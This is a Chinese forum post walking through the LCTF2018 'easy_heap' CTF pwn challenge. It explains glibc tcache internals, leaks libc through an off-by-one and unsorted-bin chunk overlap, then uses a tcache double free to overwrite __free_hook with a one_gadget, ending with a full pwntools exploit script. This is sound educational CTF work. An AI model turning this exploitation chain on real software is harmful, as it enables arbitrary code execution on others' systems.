吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6090|回复: 6
收起左侧

[调试逆向] LCTF2018 PWN easy_heap学习(以及tcache的个人理解)

  [复制链接]
peiwithhao 发表于 2022-9-24 17:14
本帖最后由 peiwithhao 于 2022-9-24 17:34 编辑

基础知识
首先我们得了解一下Tcache到底是个甚么玩意儿,他作为一个glibc2.26才引进的一种机制,其大致意图即为加速堆的分配,首先我们来了解一下tcache相关的数据结构体:
[C] 纯文本查看 复制代码
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

其中tcache_perthread_struct他相当于是一个表示tcache总体结构的数组(准确来说应该是数量以及元素为tcache_entry的数组),而tcachy_entry嘛那就是相当于一个bin,其实这也不准确,在我们实际应用中,我们如果将一个块free到tcache中时,我们就会在其fd地址那儿建立一个tcache_entry指针,而此指针的next指针是指向其tcahe_perthread_struct中的,这里其实也可以感觉到他跟fastbin其实是有点类似的,并且他的去放方式也是FILO且基本都是再链表头进行操作,具体的我来画个图
屏幕截图 2022-09-23 223633.png
以下是具体FILO分配过程,这对我们今天要来做的题目十分重要:
屏幕截图 2022-09-24 101557.png 屏幕截图 2022-09-24 101609.png 屏幕截图 2022-09-24 101631.png
上回有人反应说图画得不太行,其实我自己每次画图也觉得不好看,但是我太懒就没找,但是以后还是勤快点
而对于今天我们要讨论的这个题来说,这个tcache的分配才是比较重要的,首先我来给出tcache的相关代码,也就是tcache_get()和tcache_put()这两个比较重要的函数
[C] 纯文本查看 复制代码
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

而根据ctf-wiki上的说法,这两个函数会在函数_int_free[]__libc_malloc[] 的开头被调用,其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。
从这里我们能可以知道每次在malloc以及free之前,大小不是很大的块基本都要经过tcache的手中,中间商赚差价(bushi,这里其实我也不太理解这个tcache机制,既然他是为了提升分配速度,那为什么还要转交他一手呢,我现在唯一能想到的就是他可能是常驻cache?这点还需要我日后再来探讨,各位师傅如果知道可以评论告诉我一下。
tcahe也并不只有这些机制,你可能回想,如果每次都free小块呢,那small bin、unsorted bin 那些垃圾桶(直译,勿qu)怎么办呢,那要这些bin干甚么,这一大片还占我代码空间。这里我来给大家解答,这些tcache实际上也有着满的情况,当他们满出来时,我们对于堆的操作又是回到了libc2.26以前了是不是很奈斯,但是一般的题也不会给我们这么多次的malloc机会,接下来我来给大家看看tcache的内容大小的宏定义
[C] 纯文本查看 复制代码
/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
#endif

从这里我们可以看到tcache的一个大小被定义最大为7,而这个数字即为单条链下的最大chunk数量。也就是说当我们一次性free7次处于tcache范围且大小相同的块之后,我们若再次free块的话,此时我们所free掉的块将会存放在fastbin/unsortedbin。
接下来对于tcache的详细分配与释放,我就先给出源码大伙可以看看
  • 内存释放

可以看到,在 free 函数的最先处理部分,首先是检查释放块是否页对齐及前后堆块的释放情况,便优先放入 tcache 结构中。
[Asm] 纯文本查看 复制代码
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  size = chunksize (p);

  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

  check_inuse_chunk(av, p);

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
      && tc_idx < mp_.tcache_bins
      && tcache->counts[tc_idx] < mp_.tcache_count)
      {
        tcache_put (p, tc_idx);
        return;
      }
  }
#endif

......
}

  • 内存申请
在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中。
  • 首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中。
  • 其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中。
  • 当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。
这里我就不贴代码了,太长免得说我水贴子




漏洞利用方式
对于这些利用方式来说,由于今天的题目主要采用的思路不在这里,而且大部分漏洞利用的题目在how2heap的实验环境上的问题这两天整的我很烦,所以我这里主要是提一嘴,学到过的就说说,还没学到的就先标在这儿,各位师傅见谅哈。
  • tcache poisoning:其大致思路就是通过覆盖了entry->next来实现伪造free_chunk的目的,从而达到可分配到任意地址的chunk,有点儿类似于UAFtcache dup
  • tcache dup:  类似于fastbin attack,即double free,其在2.26环境下没有任何检测,直接free就完事,但是在2.27环境下加入了对于entry链条上大小的检查,但是好像只检查链表尾
  • tcache perthread corruption:我们知道由于tcache_perthread_struct存放了咱们tcache的所有完整信息,所以如果我们通过tcache poisoning的手法,就可malloc到这里,然后任意修改,啊哈哈哈哈。
  • tcache_house of spirit
  • small bin attach
  • tcache stashing unlink attack







关于例题版本问题
哥们的心魔来惹,那就是libc版本的问题,一早上都在捣鼓这玩意儿,原因是我想用how2heap下的题目来练习,但是由于我本机是libc2.34版本,所以编译后也直接给我整的2.34版本,我一开始以为很好解决,但是用patchelf来修改动态链接器以及rpath之后都报出version "GLIBC_2.34" not found 的错误,在网上找了一大堆,发现有说用低版本的gcc编译的,也有换台版本机编译的,之后又听某位师傅说libc2.34版本在编译的时候会给你打个标,这时候如果你改libc环境就会报错,并且推荐我也用docker配台环境,算了以后有时间再配罢。
这里我给大家也提个建议,那就是找题目尽量找elf(虽然可能有些问题),但是如果你自己机子版本过高编译下来是会又很大问题的,这里顺便给出改libc的方法
[Shell] 纯文本查看 复制代码
patchelf --set-interpreter /你的ld链接器的绝对路径/ld-2.**.so ./你的elf
patchelf --set-rpath /你的共享库所在文件夹的绝对路径/ ./你的elf





例题:LCTF2018 PWN easy_heap
这里我给出例题链接,大伙需要的自取(我也是嫖的)
https://github.com/zszcr/ctfrepo/tree/master/tcache/easy_heap

首先依旧是检查保护机制
屏幕截图 2022-09-23 233511.png
对于这个题目的名称,我的评价是太瞧得起我了。
可以看到FULL RELRO,即为got表不可写,金丝雀,栈不可执行,pie开了,恐怖如斯,一套连招打的哥们喘不过气。

首先来稍微分析分析,既然GOT表不能写,就不能像之前那样改malloc或者说改free函数got表为system了,我们若要进行利用那基本就只能采用写free_hook,(或者说也可以写malloc_hook?这个我倒是没尝试过)。然后发现他也开了pie,也就是说他现在程序中的段都是随机的地址,不像之前那样可以通过IDA静态分析得到一个bss段的固定地址了,从这里我们也基本可以知道无法通过unlink来进行漏洞利用了,这个题目具体利用方式我稍后再讲,这题整体逻辑还是有点复杂的,不过看懂了还是会有一种通透的感觉。接下来我们来看看程序的大致逻辑:
屏幕截图 2022-09-24 102414.png
嗯,很直观的题目,但是我们发现这里并没有edit函数,所以说我们对于这些漏洞的利用要在malloc以及free间进行,接下来我们再来看看静态反编译下的结果
屏幕截图 2022-09-24 102932.png
main函数中需要注意的点就是在他首先申请了一个0xb0的堆块(我这里是包含了头,接下来所有申请的堆块我都是包含着头,有具体情况我会说明,这是我个人的习惯,大伙见谅),这个堆块是一个以16字节为元素的数组,其中每个数组元素的结构体图像大致如下
屏幕截图 2022-09-24 103315.png
这个结构体的作用就是存放你申请的堆块以及你输入的size,至于这里为什么是你输入的size,我们在之后讲解alloc分配函数的时候会知晓。(是不是有一种unlink的冲动,可惜这开了pie,大伙只能小失望亿下)
我们再来分别看看alloc以及free函数,其中show和exit我就不展示了,没什么特殊的
1.首先是alloc
屏幕截图 2022-09-24 103545.png
这里我们可以知道在这个程序里总共就只能申请10个堆块,且index为0-9,除此之外每个堆块给你限制了为(0x100),并且这里他会邀请你输入一个size,而这个size就是即将存入上面那个数据结构体中的元素,并且这里规定了输入的不能大于0xf8,也就是说不能大于你这个堆块数据部分的大小,之后他让你再输入content,这里是他自己实现的read,我们点进去康康
屏幕截图 2022-09-24 104135.png
这里我们看到size会进行非0判断,也就是说没有整型溢出的漏洞,这个整形溢出可以去了解一下二进制运算的一些基础知识,这里并不是重点我就不讲解了。而在那个if行我们发现了存在一个off-by-one漏洞,也就是说如果我们设置大小为0xf8(数据区),我们在不断输入的时候,在最后会在0xf9的地方会多写入一个\x00,所以我们接下来的漏洞利用就要围绕这个点来进行。我们还可以发现在分配的时候会从index_0依次开始遍历,若为空且小于10则在数组的这里进行分配,这个点我们在f讲free的时候继续解释
2.之后是free函数
屏幕截图 2022-09-24 104607.png
这里我们发现在free某个index的堆块后,我们会将指向该chunk的数组元素进行完全清0,这里我们就可以知道为什么上述的alloc函数要如此设计了。但是这里我们能发现他并没有清除堆块的内容,而只是清除了指针,所以我们虽然没有UAF漏洞可用,但是我们的希望还没有完全丧失。
利用思路
由于存在off-by-one漏洞,我们就可以通过溢出至chunk的size位中的低4位中的inuse,使其成为0,这样就让他虚假的以为前面的块是处于释放状态,但是由于开启了pie,我们并不能进行unlink的利用,所以我们这里转换思路采用unsorted bin 的堆块合并机制,其大致思路即为我们首先申请A,B,C连续地址的三块chunk,且堆块大小都为0x100,当我们free chunkA之后,假设我们将他存放入unsorted bin,并且堆块A的fd,bk都指向了main_arena中unsorted_bin-0x10的地址(这里不当懂的话可以看看我上一篇解释unsorted bin attach的地方,感觉讲的还勉勉强强可以此时堆块B由于发现前一个块被释放,其堆块的prev_size位会变成0x100,并且他的inuse位也因此清0,此时我画个图来看看
屏幕截图 2022-09-24 110458.png 屏幕截图 2022-09-24 110810.png
我用红色来标记这一步所修改的地方让大伙看仔细些,之后若再次free掉chunkB并放入,unsortedbin检查其inuse为0,于是就合并chunkA与chunkB成为一个大块,这个大块即为0x200,所以chunkC的prev_size就应该修改为0x200,其inuse位也应该位0
屏幕截图 2022-09-24 111338.png
然后我们free chunkC使其成为一个0x300的大块
屏幕截图 2022-09-24 111640.png
并且我们知道在合并unsortedbin中的时候他的prev_size以及size位并不会修改,所以如果我们此刻申请一个chunkA,此时unsortedbin并不是说不FIFO了,而是从大块中切割出A,此时我们同时会修改B的fd以及bk指针
屏幕截图 2022-09-24 112145.png
若我们此时能够查看B块的内容,那我们就可以泄露出mian_arena地址,从而泄露出libc基地址了。
开始尝试
首先为了腾出3个空间给unsorted bin ,我们首先就需要填满tcache才行,这样我们free的堆块才会放入unsorted bin.
先给他申请满了再说,此时我给大家维持一个数组对应chunk的图,这样大家不会看差
屏幕截图 2022-09-24 113217.png
这里我们接下来开始free,我们首先free掉0-5,共计6个堆块,他们均放入了tcache,此时我们再free 9这是因为当我们free块至unsorted bin的时候可以防止其与Topchunk进行合并
屏幕截图 2022-09-24 113712.png
就像我们在利用那里说的那样,chunk6-chunk8,这三个堆块和合并成了一个大块,并且chunk6的fd以及bk均变为了unsorted bin地址-0x10(具体为什么要减去,可以去看看我上一篇文章哈)
屏幕截图 2022-09-24 114208.png 屏幕截图 2022-09-24 114402.png 屏幕截图 2022-09-24 114453.png
查看,van全一致。之后我们就要想办法将chunk7,也就是漏洞利用中的chunkB拿出来,这里逻辑有点绕,可以仔细瞧瞧。
然后我们再将其全部分配出去,首先他会再tcache bins 里面查找,等到tcache里面分配完毕了之后我们才会从unsorted bin中取出块,所以我们现在全部先取出来
屏幕截图 2022-09-24 153755.png
我顺道提一嘴大伙如果装了pwngdb的可以多尝试这几个指令,对于写堆题帮助很大。当我们分配完chunk之后,记住tcache  bin 是FILO的(First in Last out),且当我们清空tcache后,我们会转向unsortedbin,程序会发现unsorted bin 是一个0x300大小整块,所以会切割出0x100(这里的0x100是我们自己申请的),然后剩余0x200,依次类推。此时我们的程序布局如下图,大伙一定要清楚其中chunk_6 chunk_7 chunk_8 这三块的位置,因为我们的漏洞利用就针对的这三块,也就是利用思路那里的A、B、C块
屏幕截图 2022-09-24 154255.png
有人可能会不太清楚那个我们这个漏洞到底如何利用,因为我之前也有这样的疑惑。好的,我们现在来稍微理清一下自己的思路,首先我们需要三个物理连续的块,并且这三个块都放在unsortedbin中,且我们得想办法修改中间的块,我们为了溢出的目的就是通过chunkB来off-by-one chunkC,此刻假设unsorted bin中只有chunkA,且我们将chunkC的prev_size修改为0x200,以及他的inuse溢出为\x00,此时我们再free chunkC的时候程序就会认为chunkC的物理上方是一个0x200的大块,所以就会将其假装合并,并且会修改chunkA的size位为0x300,所以当我们再将A从unsortedbin中拿出去的时候,我们会把他的fd以及bk都存入chunkB,这样我们就造成了地址泄露。
所以我们再这次分配的过程中还不能进行溢出,因为我们是先分配的chunk7,再分配的chunk8,我们所写的‘\x00’会被覆盖掉就会失效,所以此处并不是一个好的利用点。
言归正传,我们接下来再来free一次,此时的free顺序是先free掉0-5,共6块,因为我们首先要填满tcache,之后我们再free掉8号位,这样能保证我们在下次malloc的时候第一次被分配的是8号位的chunk_7。此刻我们再来来看看程序的布局:
屏幕截图 2022-09-24 155802.png 屏幕截图 2022-09-24 160339.png
我们可以看到此刻chunk_7被放到了链头,此刻我们下次分配时,第一个分配的就是他,光我画图可能也没啥信服力,我这边也给出调试过程中的截图,我们可以看出tcache此时确实已经被装满,且我们的unsorted bin也同时为空,这里我稍微讲解一下,就是位于0x561484268000,0x561484268250的块分别是tcache_perthread_struct(如果大伙忘记了可以看看上面的基础知识部分)管理模块以及程序自己申请的管理分配数组的堆块,在这之后就分别是chunk0-9此时对应的值,大伙可以对照着图片瞅瞅,可以发现free掉的正好就是这几个chunk。
在这之后我们先free掉7号位,使得其并入unsorted bin
屏幕截图 2022-09-24 160956.png 屏幕截图 2022-09-24 161120.png
我们现在到了关键时刻了,大伙注意,我们此时再次申请一个0x100大小的堆块,注意,此刻我们首先从tcache bin中取出chunk_7,然后我们对其进行off-by-one溢出攻击,此刻若我们不进行溢出,那么chunk_8的size位就会变成0x101,所以我们需要将其保持在0x100,注意此时chunk_7被放到了0号位
屏幕截图 2022-09-24 161516.png
此刻我们若再次free掉9号位,那么会将其存放在tcache bin中,因为此时tcachebin还没满,这样并不能达到我们漏洞利用的目的,所以我们需要将6号位的chunk_0给free掉以此填充tcache,接下来再释放9号位才会尝试将其放入unsorted bin。
当我们将unsorted bin 中放入chunk_8时,我们回忆一下,此时chunk8的prev_size 为0x200,size为0x100,所以unsorted bin 以为这可以合并,所以将其假装合并成一个0x300的大块,但此时咱们心里都清楚,咱们中间的那个块是可以用的呀,上图给大家更直观的看看(大伙注意下下面这张图的chunk_8已经被放入了unsorted bin,所以9号位因该为空,我这儿画失误了,抱歉各位)
屏幕截图 2022-09-24 163111.png 屏幕截图 2022-09-24 163353.png
这儿的虚线表示虚假的链接,就是程序以为的unsoted bin,此时我们需要将chunk_6取出,然后达到写入chunk_7 fd,bk的目的,但是分配过程首先会从tcachebin开始分配,此时我们就一次性分配8次,这样刚好就可以分配出第一块unsortedbin,然后程序以为是直接切割,所以将chunk_6的fd以及bk写入到chunk_7中,也就是0号位,注意此时此刻,0号位仍然是分配状态。
屏幕截图 2022-09-24 163808.png
到达这个程度我们再来看看程序中运行的结果
屏幕截图 2022-09-24 164237.png 屏幕截图 2022-09-24 164252.png
从这里我们可以看到unsortedbin 固执的以为bin里面还有个0x200大小的块,殊不知其中有一个还在分配中,啊哈哈哈哈,第二个图我们也可以看到chunk_7块中的fd和bk确实已经写入chunk_6之前的值,此值即为main_arena中unsorted bin的地址-0x10,我们可以调试检查确实是一致的
屏幕截图 2022-09-24 164556.png
这里我们即可通过此泄露libc基地址,这是因为unsorted bin地址与main_arena的首地址是固定的,而我们可以通过查看libc版本的__malloc_hook的偏移与main_arena地址通常相差0x10,所以我们就可以通过他来泄露地址,此后我们通过show函数来查看0号位即可。
当我们泄露出libc基质后,我们通过寻找one_gadget的方式,来将其写入到__free_hook中,之后当我们free任意一个块时我们就将调用这个one_gadget.
这里我们写入的方式是采用了tcache_dup来进行泄露,我个人感觉就像是fast bin 的double free,这里我的步骤如下:
首先考虑到我们的libc2.27的版本,他对于2.26增加了一个检查,那就是查看tcache bin中即将分配出去块的大小是否正常,但好像这里只检查了链表尾。
于是我们为了进行double free,我们先再申请一个块,此时我们的9号位同时分配了chunk_7
屏幕截图 2022-09-24 165837.png
这时我们为了绕过检查基质,首先挑几个倒霉蛋进行绕过,就一号位和二号位把。
之后我们再free掉0号位以及9号位,此时我们构成了一个双链条,也就是我指向我自己
屏幕截图 2022-09-24 170444.png
然后我们首先申请一个0x100的块,此时我们修改fd指针位__free_hook的地址,此时我们的tcache链条上面还有一个chunk_7,这样又迷惑程序使其以为tcache的首块是__free_hook-0x10地址的堆块,此时我们如果再申请一个堆块的话那就是从__free_hook-0x10 地址位进行分配,此时我们就可以修改__free_hook的值为one_gadget了,然后最后再free一个块即可实现getshell,winwinwin!
屏幕截图 2022-09-24 170758.png
大功告成!




小小总结
总之这篇写的真的挺长,整个题目的逻辑虽然很绕,但是真正理解过后发现其实不算太难,推荐大伙可以写写,这题牵扯的知识点也颇多,比如说overlapping,unsroted合并以及切割,tcache 分配时机以及漏洞利用思路等等,我写这篇blog的时候也觉得这个的利用十分巧妙,值得过一段时间再来写写看。


以下附上我自己的exp
[C] 纯文本查看 复制代码
from pwn import *
context.log_level = "INFO"
io = process('./easy_heap')

libc = ELF('/home/eclipse/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
one_gadget1 = 0x4f2a5
one_gadget2 = 0x4f302
one_gadget3 = 0x10a2fc
def slog(name,address): io.success(name +"========>"+ hex(address))
def alloc(size,content) :
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('size \n> ')
    io.sendline(str(size))
    io.recvuntil('content \n> ')
    io.sendline(content)

def free(index) :
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil('index \n> ')
    io.sendline(str(index))

def show(index) :
    io.recvuntil('> ')
    io.sendline('3')
    io.recvuntil('index \n> ')
    io.sendline(str(index))

def quit(size,content) :
    io.recvuntil('> ')
    io.sendline('4')

#===============  malloc 10 chunks ===================#
for i in range(10):
    alloc(0xf0,'aaaaaa')
#===============  done  =====================#


#==============  free these chunk to should bins ===========#
for i in range(6):
    free(i)
free(9)

for i in range(6,9):
    free(i)
#now the chunk has 0-6 in tcache,and 7-9 in unsorted bin
#except that,the 7-9 chunk has align in together ,the chunk8's prev_size is 0x100 , and chunk9 is 0x200
#===============  done  =====================#

#========= re-alloc these chunk ,but the number is revert  ============#
# after that ,0-6 chunks has revert(because of the FILO in tcachei),and the one unsorted chunk has been part with 3 from 7-9
for i in range(10):
    alloc(0xf0,'bbbb')
#===============  done  =====================#

#========= according to the FILO in tcache ,we should free chunk8 in the end  ==========#
for i in range(6):
    free(i)
free(8)                 
#now the tcache is full of chunk,and the chunk8 is the first to malloc 
#===============  done  =====================#

#============ now we should start our leakage ==========#
free(7)         #this chunk will put to the unsorted bin, and it's fd and bk is point to the unsortedbin address
alloc(0xf8,'hello')     #because the chunk8 is near by the chunk9,so we should use off-by-null to fit the \x00
# and until now ,tcache is just 6 entity
#after that ,progress thinks the chunk0(old chunk8) ,old chunk7,and the chunk9 is a big chunk
#now the tcache capacity is 6 ,so we should free it ,so that we can malloc the old chunk7 for leakage
free(6)         #now the tcache is full
free(9)
# the program hold the view that it cut the big chunk's 1/3 for giving us ,so it's fd and bk pass for the chunk0(just old chunk8,and ,the chunk0 is useable)
# because the tcache is full ,so we need to clear out it so that we can malloc the oldchunk7
for i in range(8):
    alloc(0xf8,'aaaaa')
#so we can check the unsorted bin address!!!!
show(0)
unsorted_addr = u64(io.recv(6).ljust(8,b'\x00'))
slog('unsorted_bin_address',unsorted_addr)
#===============  done  =====================#

#============== calculate the offset in libc ============#
main_arena_addr = unsorted_addr - 0x60
slog('main_adrena_address',main_arena_addr)
malloc_hook = libc.sym['__malloc_hook']
libc_base = main_arena_addr - malloc_hook - 0x10 
slog('libc_base',libc_base)
one_gadget1 += libc_base
one_gadget2 += libc_base
one_gadget3 += libc_base
#===============  done  =====================#

#============== exploitation ==============#
# now the chunk situation is unsortedbin ->(chunk0(using),chunk9) tcache bins -> null
# if we malloc(0xf8) ,then chunk0 will be allocatedd to chunk9,so that we can use double free
alloc(0xf0,'ccccc')
#then we free twice
free(1)             #these two guys is helping us to pass the tcache check
free(2)
free(0)
free(9)
free_hook = libc.sym['__free_hook'] + libc_base
slog('free_hook_address',free_hook)
payload = p64(free_hook)

alloc(0xf0,payload)
alloc(0xf0,'aaaaa')

alloc(0xf0,p64(one_gadget2))
free(1)
io.interactive()

别吐槽兄弟的英语熬,我也不想写英语注释,但是我ubuntu 22.04上的language support除了点问题,只能用英语了
屏幕截图 2022-09-24 111211.png
屏幕截图 2022-09-24 162758.png

免费评分

参与人数 3吾爱币 +2 热心值 +3 收起 理由
confiant + 1 谢谢@Thanks!
OYyunshen + 1 + 1 我很赞同!
Panel + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

pnsx 发表于 2022-9-25 13:29
这个真的很难看懂
hhk007 发表于 2022-9-27 14:52
ludonghengsb 发表于 2022-9-27 17:41
rinima 发表于 2022-10-4 16:32
感谢楼主分享
250075083 发表于 2022-10-16 17:18
学习,希望有所长进!!!!!!
flyyy 发表于 2023-7-25 17:54
万分感谢师傅,写的真好
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 00:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表